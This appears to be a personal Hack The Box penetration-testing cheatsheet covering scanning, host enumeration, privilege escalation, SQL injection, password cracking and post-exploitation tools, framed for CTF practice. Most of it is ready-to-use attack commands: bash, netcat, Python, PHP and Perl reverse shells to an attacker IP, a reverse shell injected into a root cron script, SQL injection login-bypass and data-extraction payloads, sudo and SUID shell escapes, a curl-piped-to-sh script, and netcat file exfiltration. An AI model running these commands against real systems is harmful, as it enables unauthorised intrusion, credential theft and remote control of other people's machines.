Return Home

HTB Command Cheatsheet

ReferenceHTBPentest

NMAP Commands

Basic Scanning
# Quick scan (no stealth)
nmap <tgt IP>

# Specific ports with version detection
nmap -p 22,80,443 -sC -sV <tgt IP>

# All ports with speed optimization
nmap -p- --min-rate=1000 -sC -sV <tgt IP>

# Aggressive scan with OS detection
nmap -A -T4 -p- <tgt IP>

# UDP scan (top 100 ports, requires sudo)
sudo nmap --top-ports 100 -sU -sC -sV <tgt IP>
  • Basic nmap shows open ports quickly without stealth
  • -p specifies ports, -p- scans all 65535 ports
  • --min-rate=1000 sends 1000 packets/second for faster scanning
  • -sC runs default scripts, -sV detects versions
  • -A enables OS detection, version detection, script scanning, and traceroute
  • UDP scans are slower but reveal SNMP, DNS, and other services
Targeted Enumeration
# Vulnerability scanning
nmap --script vuln -p <ports> <tgt IP>

# HTTP enumeration
nmap --script http-enum -p 80,443 <tgt IP>

# SMB enumeration
nmap --script smb-enum-shares,smb-enum-users -p 445 <tgt IP>
  • vuln scripts check for known CVEs
  • http-enum discovers hidden directories and files
  • SMB scripts enumerate shares and users on Windows systems

Device Enumeration

System & User Information
# System details
uname -a
cat /etc/os-release
hostname
sudo -V

# Find Python installation
which python
which python3

# Current user context
whoami
id
sudo -l

# Logged in users
w
who
last

# Environment variables
env
env | grep SHELL
env | grep MAIL
  • uname -a shows kernel version and architecture
  • which [python|python3] locates binary path for python
  • sudo -V displays sudo version (for exploit research)
  • w shows who's logged in and their activity
  • who shows just logged-in users, last shows login history
  • Environment variables may leak paths and configuration
Network Information
# Network interfaces and IPs
ifconfig
ip address
ip a

# Routing information
ip r get <tgt IP>

# Active connections and listening ports
netstat -antup
ss -tulpn
  • ip address is the modern replacement for ifconfig
  • ip r get shows routing path to specific IP
  • netstat shows connections but ss is newer and faster
  • Both reveal internal services and established connections
Process & Service Discovery
# Running processes
ps aux
ps -ef
pstree
  • Lists all running processes with user, CPU, and memory info
  • Look for services running as root or unusual processes
  • pstree shows parent-child relationships
Finding Sensitive Files
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# World-writable files and directories
find / -writable -type f 2>/dev/null
find / -perm -002 -type f 2>/dev/null

# Database and config files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite3" 2>/dev/null
find / -name "*config*" 2>/dev/null
find / -name "*pass*" 2>/dev/null

# SSH keys
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys
find / -name "id_rsa" 2>/dev/null

# Command history
cat ~/.bash_history
cat ~/.zsh_history
history

# System logs (may contain credentials)
ls -lt /var/log/
cat /var/log/syslog
cat /var/log/auth.log

# File listing with inodes
ls -lai
ls -lt
  • SUID binaries run with owner privileges - check against GTFOBins
  • Writable files may allow code injection
  • Database and config files often contain credentials
  • SSH keys enable lateral movement
  • Command history reveals previous user actions
  • /var/log/ contains system logs that may leak passwords
  • ls -lai shows all files with inode numbers
  • ls -lt sorts by modification time

Misconfiguration Hunting

Privilege Vectors
# Sudo permissions
sudo -l

# Scheduled tasks
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*

# File capabilities
getcap -r / 2>/dev/null

# PATH hijacking check
echo $PATH
find / -writable -type d 2>/dev/null | grep -E "^/usr/local|^/usr/bin|^/bin"
  • sudo -l shows what you can run as root (look for NOPASSWD)
  • Cron jobs running as root with writable scripts are exploitable
  • Capabilities like cap_setuid bypass traditional permissions
  • Writable PATH directories enable binary hijacking
Container Detection
# Docker/container detection
cat /proc/self/cgroup
ls -la /.dockerenv
docker ps
  • Container indicators suggest escape techniques may be needed
  • Container escape techniques differ from standard privilege escalation

Shell Upgrading & Customization

Python pseudo-TTY Upgrade
# Spawn PTY shell
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# If Python unavailable
script -qc /bin/bash /dev/null
  • First step after getting basic shell
  • Provides better control but still limited functionality
  • script command used when Python is missing
Full Interactive TTY
# Step 1: Spawn PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell (Ctrl+Z)

# Step 3: Configure terminal
stty raw && fg

# Step 4: Press Enter twice
  • Provides full terminal with tab completion, clear screen (Ctrl+L), and arrow keys
  • Essential for comfortable enumeration and tool usage
Shell Customization
# Customize prompt (shows user, host, directory, time)
PS1="[\u@\h]-[\w] \t [\$]: "
  • Custom PS1 prompt improves readability with username (\u), hostname (\h), working directory (\w), and time (\t)

Reverse Shells

Bash & Netcat
# Bash TCP
bash -i >& /dev/tcp/<Atk IP>/<port> 0>&1

# Netcat (with -e flag)
nc -e /bin/bash <Atk IP> <port>

# Netcat (without -e flag, common in CTFs)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Atk IP> <port> >/tmp/f
  • Bash requires /dev/tcp support (most Linux systems)
  • Netcat -e is often removed in security-focused distributions
  • FIFO method works when -e is unavailable
Scripting Language Shells
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<Atk IP>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

# PHP
php -r '$sock=fsockopen("<Atk IP>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="<Atk IP>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Python is most reliable across systems (replace "python" with "python3" as needed)
  • PHP for web RCE exploitation
  • Perl for older Unix systems
Listener Setup
# Basic netcat listener
nc -lvnp <port>
  • -l (listen mode), -v (verbose), -n (no DNS resolution), -p (specify port)

Web Application Testing

Server-Side Template Injection (SSTI) Detection
# Test for template injection vulnerabilities
${{<%[%'"}}%\
  • If an exception is raised, the injected template syntax is potentially being interpreted by the server
  • This is one sign that a vulnerability to server-side template injection may exist
  • Test in form inputs, URL parameters, and anywhere user input is rendered

SQL Basics

Query and Change Data
-- Read selected columns, filter rows, and sort results
SELECT username, email
FROM users
WHERE active = TRUE
ORDER BY username;

-- Add a row
INSERT INTO users (username, email)
VALUES ('alex', 'alex@example.com');

-- Update specific rows; choose a key that identifies the intended row
UPDATE users
SET email = 'alex.new@example.com'
WHERE username = 'alex';

-- Delete specific rows; check the WHERE condition before running
DELETE FROM users
WHERE username = 'alex';
  • SELECT reads rows; use WHERE to filter and ORDER BY to sort.
  • INSERT adds a row. Name the target columns so the values are clear and correctly ordered.
  • UPDATE and DELETE change data. Without a WHERE condition, they affect every row in the table.
  • Boolean literals and row-limiting syntax vary between database systems.

SQL Injection

Authentication Bypass Payloads
# Username field payloads
admin' OR '1'='1
admin' OR 1=1 --
admin' OR 1=1 #
admin'#
admin'--

# Combined username/password
Username: admin'#
Password: (anything)

# Email field
email=admin ' or 1 = 1 -- -&password=password

# Alternative OR statements
' or 1=1--
' or 1=1 #
' or 1=1/*
') or '1'='1--
') or ('1'='1--
  • admin'# comments out password check, making authentication succeed with any password
  • Try in username, email, and/or password fields
  • -- and # are SQL comments (space after -- required in some DBs)
  • Parentheses account for different query structures
  • Works when input isn't properly sanitized
UNION-Based Data Extraction
# Determine column count
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--

# Enumerate database structure
' UNION SELECT schema_name FROM information_schema.schemata--
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

# Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT group_concat(username),group_concat(password) FROM users--
  • Add NULLs until error disappears to find column count
  • information_schema reveals database structure (MySQL/MariaDB)
  • group_concat combines multiple rows into single output
SQLMap Automation
# URL-based injection
sqlmap -u "http://<tgt IP>/page.php?id=1" --batch --dump

# POST request from file
sqlmap -r request.txt --batch --dump

# Login form
sqlmap -u "http://<tgt IP>/login" --data="username=admin&password=test" --batch
  • --batch auto-answers prompts with defaults
  • --dump extracts database contents
  • Save Burp requests to file for -r flag
  • Much faster than manual injection

Privilege Escalation TTPs

Sudo Exploitation (GTFOBins)
# Check sudo permissions first
sudo -l

# vim/vi
sudo vim -c ':!/bin/sh'

# find
sudo find . -exec /bin/sh \; -quit

# less/more
sudo less /etc/hosts
!/bin/sh

# nmap (older versions)
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
  • If sudo -l shows NOPASSWD for any binary, check GTFOBins (gtfobins.github.io)
  • Many common utilities have shell escape sequences
  • Always try sudo -l first after gaining shell access
SUID Binary Exploitation
# Find SUID binaries
find / -perm -4000 2>/dev/null

# Analyze suspicious binaries
strings /path/to/suid-binary
ltrace /path/to/suid-binary
strace /path/to/suid-binary

# PATH hijacking example
echo '/bin/sh' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/path/to/vulnerable-suid-binary
  • Look for unusual SUID binaries (not standard system binaries)
  • strings reveals hardcoded commands
  • ltrace/strace show system calls
  • If binary calls commands without full path, hijack PATH
Capabilities Exploitation
# Find capabilities
getcap -r / 2>/dev/null

# Example: cap_setuid on Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • Capabilities like cap_setuid provide privilege escalation without SUID bit
  • Check GTFOBins for capability-specific exploitation techniques
Cron Job Exploitation
# Find writable cron scripts
ls -la /etc/cron.d/
ls -la /var/spool/cron/crontabs/

# Inject into writable cron script
echo 'bash -i >& /dev/tcp/<Atk IP>/<port> 0>&1' >> /path/to/cron-script.sh
  • Find cron jobs running as root with writable scripts
  • Inject reverse shell for root access
  • Use pspy to monitor for cron execution timing

Essential CTF Tools

Automated Enumeration Scripts
# LinPEAS (comprehensive privilege escalation checker)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer:
wget http://<Atk IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum (thorough system enumeration)
wget http://<Atk IP>/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

# pspy (monitor processes without root)
wget http://<Atk IP>/pspy64
chmod +x pspy64
./pspy64
  • LinPEAS color-codes findings by severity - red/yellow are priorities
  • LinEnum with -t does thorough testing
  • pspy reveals cron jobs and processes run by other users - critical for timing-based attacks
Password Cracking
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=raw-md5 hash.txt
john --show hash.txt

# Hashcat (GPU-accelerated)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  # MD5
hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt  # NTLM
hashcat -m 3200 -a 0 bcrypt.txt /usr/share/wordlists/rockyou.txt  # bcrypt
  • John for CPU-based cracking, supports many formats
  • Hashcat uses GPU for 10-100x speed
  • -m specifies hash type (0=MD5, 1000=NTLM, 3200=bcrypt)
  • -a 0 is dictionary attack
Network Service Brute Force
# Hydra
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://<tgt IP>
hydra -L users.txt -P pass.txt ftp://<tgt IP>
hydra -l admin -P /usr/share/wordlists/rockyou.txt <tgt IP> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
  • -l single username, -L username list
  • -p single password, -P password list
  • For web forms, capture request in Burp and format as shown
  • F= specifies failure string
Web Directory & Subdomain Discovery
# Gobuster
gobuster dir -u http://<tgt IP> -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://<tgt IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# ffuf (faster alternative)
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<tgt IP>/FUZZ
ffuf -w params.txt -u http://<tgt IP>/page?FUZZ=value -fs 4242  # filter by size
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.target.com -fs 4242
  • Gobuster dir for directories, -x adds extensions
  • dns mode for subdomain discovery
  • ffuf is faster and more flexible - FUZZ keyword marks injection point
  • -fs filters responses by size
SMB & Active Directory
# Enum4linux (SMB enumeration)
enum4linux -a <tgt IP>

# SMBClient
smbclient -L //<tgt IP> -N  # list shares (null session)
smbclient //<tgt IP>/share -U username

# CrackMapExec
crackmapexec smb <tgt IP>/24  # network scan
crackmapexec smb <tgt IP> -u user -p pass --shares  # enumerate shares
crackmapexec smb <tgt IP> -u user -p pass -x whoami  # command execution
  • enum4linux combines multiple tools for comprehensive SMB enum
  • -a does all checks
  • smbclient for file access
  • CrackMapExec for lateral movement and multiple target management
File Transfer Methods
# Python HTTP server (on attacker)
python3 -m http.server 80
python -m SimpleHTTPServer 80

# Download on target
wget http://<Atk IP>/file
curl http://<Atk IP>/file -o file

# Netcat transfer
# On attacker (receiving):
nc -lvnp <port> > file
# On target (sending):
nc <Atk IP> <port> < file
  • Python server for quick file hosting
  • wget/curl for downloads
  • Netcat for bidirectional transfer
Additional Useful Tools
# searchsploit (offline exploit database)
searchsploit apache 2.4
searchsploit -m 12345  # mirror exploit by ID
searchsploit -x 12345  # examine exploit

# nikto (web vulnerability scanner)
nikto -h http://<tgt IP>

# WPScan (WordPress scanner)
wpscan --url http://<tgt IP> --enumerate u,p  # enumerate users and plugins

# Metasploit
msfconsole
search exploit_name
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <Atk IP>
set LPORT <port>
exploit
  • searchsploit searches Exploit-DB locally
  • nikto finds common web vulnerabilities
  • WPScan for WordPress-specific issues
  • Metasploit for exploit frameworks and listeners (meterpreter is powerful post-exploitation shell)